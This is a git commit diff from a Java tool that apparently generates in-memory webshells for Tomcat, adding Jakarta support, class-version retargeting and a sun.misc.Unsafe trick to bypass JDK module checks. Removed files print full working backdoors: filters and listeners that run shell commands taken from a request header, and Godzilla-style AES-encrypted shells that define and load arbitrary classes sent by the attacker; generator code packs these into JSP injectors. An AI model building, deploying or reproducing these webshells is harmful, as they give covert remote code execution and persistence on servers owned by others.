feat: support bypassJdkModule and Jakarta

This commit is contained in:
ReaJason
2024-11-29 02:02:04 +08:00
parent b6c881c5cb
commit 886d808f31
40 changed files with 1167 additions and 686 deletions
+14 -18
View File
@@ -1,29 +1,21 @@
plugins {
id "java"
id "jacoco"
id "io.freefair.lombok" version "8.11"
}
repositories {
mavenCentral()
}
group = 'com.reajason.javaweb.memsell'
version = '1.0-SNAPSHOT'
test {
dependsOn(":vul-webapp:build")
useJUnitPlatform()
finalizedBy jacocoTestReport
}
jacocoTestReport {
reports {
html.required = true
csv.required = true
}
afterEvaluate {
classDirectories.setFrom(files(classDirectories.files.collect {
fileTree(dir: it, exclude: [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/config/**'
])
}))
}
}
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.15.1'
implementation 'javax.servlet:javax.servlet-api:3.0.1'
@@ -49,4 +41,8 @@ dependencies {
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
}
testImplementation platform('org.junit:junit-bom:5.11.3')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
@@ -3,6 +3,7 @@ package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import net.bytebuddy.jar.asm.Opcodes;
import java.io.IOException;
import java.nio.file.Files;
@@ -16,14 +17,14 @@ public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
String shellType = TomcatShell.JAKARTA_FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass")
.key("key")
.pass("passFilter")
.key("keyFilter")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
@@ -31,6 +32,7 @@ public class GeneratorMain {
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
@@ -38,9 +40,13 @@ public class GeneratorMain {
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
return generate(server, shellTool, shellType, shellConfig, Constants.DEFAULT_VERSION);
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
switch (server) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig);
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
case BES:
break;
case RESIN:
@@ -0,0 +1,51 @@
package com.reajason.javaweb.buddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.MethodCall;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
import java.lang.reflect.Field;
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
*/
public class ByPassJdkModuleInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Origin Class<?> clazz, @Advice.Return(readOnly = false, typing = Assigner.Typing.DYNAMIC) boolean returnValue) {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module);
returnValue = true;
} catch (Exception ignored) {
}
}
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
return builder
.defineField("isBypassModule", boolean.class, Visibility.PUBLIC, Ownership.STATIC)
.invokable(isTypeInitializer())
.intercept(MethodCall.invoke(named("byPassJdkModule")))
.defineMethod("byPassJdkModule", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.intercept(FixedValue.value(false))
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("byPassJdkModule"),
Advice.to(ByPassJdkModuleInterceptor.class)));
}
}
@@ -10,32 +10,35 @@ import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool;
import org.jetbrains.annotations.NotNull;
/**
* @author ReaJason
* @since 2024/11/23
*/
public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
public static ServletRenameVisitorWrapper INSTANCE = new ServletRenameVisitorWrapper();
@Override
public int mergeReader(int flags) {
return 0;
return flags;
}
@Override
public int mergeWriter(int flags) {
return 0;
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(
TypeDescription instrumentedType,
ClassVisitor classVisitor,
Implementation.Context implementationContext,
TypePool typePool,
FieldList<FieldDescription.InDefinedShape> fields,
MethodList<?> methods,
int writerFlags,
int readerFlags) {
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor,
@NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool,
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods,
int writerFlags,
int readerFlags) {
return new ClassRemapper(
classVisitor,
new Remapper() {
@@ -0,0 +1,57 @@
package com.reajason.javaweb.buddy;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.pool.TypePool;
import net.bytebuddy.utility.nullability.MaybeNull;
import org.jetbrains.annotations.NotNull;
/**
* @author ReaJason
*/
public class TargetJDKVersionVisitorWrapper implements AsmVisitorWrapper {
public static final TargetJDKVersionVisitorWrapper DEFAULT = new TargetJDKVersionVisitorWrapper();
private final int targetJdkVersion;
public TargetJDKVersionVisitorWrapper() {
targetJdkVersion = Constants.DEFAULT_VERSION;
}
public TargetJDKVersionVisitorWrapper(int targetJdkVersion) {
this.targetJdkVersion = targetJdkVersion;
}
@Override
public int mergeWriter(int flags) {
return flags;
}
@Override
public int mergeReader(int flags) {
return flags;
}
@NotNull
@Override
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
@NotNull ClassVisitor classVisitor, @NotNull Implementation.Context implementationContext,
@NotNull TypePool typePool, @NotNull FieldList<FieldDescription.InDefinedShape> fields,
@NotNull MethodList<?> methods, int writerFlags, int readerFlags) {
return new ClassVisitor(Opcodes.ASM9, classVisitor) {
@Override
public void visit(int version, int modifiers, String name, @MaybeNull String signature, @MaybeNull String superClassName, @MaybeNull String[] interfaceName) {
super.visit(targetJdkVersion, modifiers, name, signature, superClassName, interfaceName);
}
};
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.config;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
* @since 2024/11/28
*/
public class Constants {
public static final int DEFAULT_VERSION = Opcodes.V1_6;
}
@@ -6,6 +6,7 @@ import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
@@ -22,4 +23,6 @@ public class ShellConfig {
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
}
@Builder.Default
private int targetJdkVersion = Opcodes.V1_5;
}
File diff suppressed because one or more lines are too long
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
@@ -19,6 +20,7 @@ public class CommandGenerator {
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
@@ -1,10 +1,15 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
@@ -17,6 +22,14 @@ public class GodzillaGenerator {
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
}
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
}
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
@@ -25,13 +38,26 @@ public class GodzillaGenerator {
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(godzillaClass)
.name(godzillaClassName)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
if (changeClassVersion) {
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
}
if (targetJdkVersion >= Opcodes.V9) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
}
}
@@ -1,10 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.util.Objects;
@@ -19,14 +23,24 @@ public class InjectorGenerator {
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
}
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
try (DynamicType.Unloaded<?> make = new ByteBuddy()
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass)
.name(injectClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName))
.make()) {
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
if (targetJdkVersion >= Opcodes.V9) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
}
@@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.memsell.InjectorGenerator;
import com.reajason.javaweb.memsell.tomcat.command.*;
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
@@ -20,6 +24,7 @@ import java.util.Map;
* @since 2024/11/22
*/
public class TomcatShell {
public static final String JAKARTA = "Jakarta";
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
@@ -28,6 +33,7 @@ public class TomcatShell {
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String WEBSOCKET = "Websocket";
public static final String VALVE = "Valve";
public static final String JAKARTA_VALVE = "JakartaValve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
@@ -36,12 +42,15 @@ public class TomcatShell {
*/
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
static {
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
// tomcat 无法同时引入两个版本的包
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
/**
@@ -51,19 +60,20 @@ public class TomcatShell {
static {
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA);
switch (shellTool) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
@@ -73,7 +83,10 @@ public class TomcatShell {
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue());
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
break;
}
case CMD: {
@@ -93,7 +106,8 @@ public class TomcatShell {
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern());
shellConfig.getUrlPattern(),
targetJdkVersion);
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
@@ -45,4 +45,4 @@ public class CommandFilter implements Filter {
public void destroy() {
}
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandJakartaFilter implements Filter {
public String headerName;
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
}
@@ -1,70 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.ServletOutputStream;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandJakartaListener implements ServletRequestListener {
public String headerName;
public CommandJakartaListener() {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,120 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
public String key;
public String pass;
public String md5;
public String headerName;
public String headerValue;
public GodzillaJakartaFilter() {
}
public GodzillaJakartaFilter(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
@SuppressWarnings("all")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f;
try {
f = ((Class<?>) session.getAttribute("payload")).newInstance();
} catch (InstantiationException | IllegalAccessException e) {
throw new RuntimeException(e);
}
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -1,144 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import jakarta.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
public String md5;
public String pass;
public String key;
public String headerName;
public String headerValue;
public GodzillaJakartaListener() {
}
public GodzillaJakartaListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = this.getResponseFromRequest(request);
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute(
"payload",
(new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -2,10 +2,15 @@ package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
@@ -29,4 +34,19 @@ class GodzillaValveTest {
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
@Test
@SneakyThrows
void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false);
Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -1,113 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import okhttp3.*;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
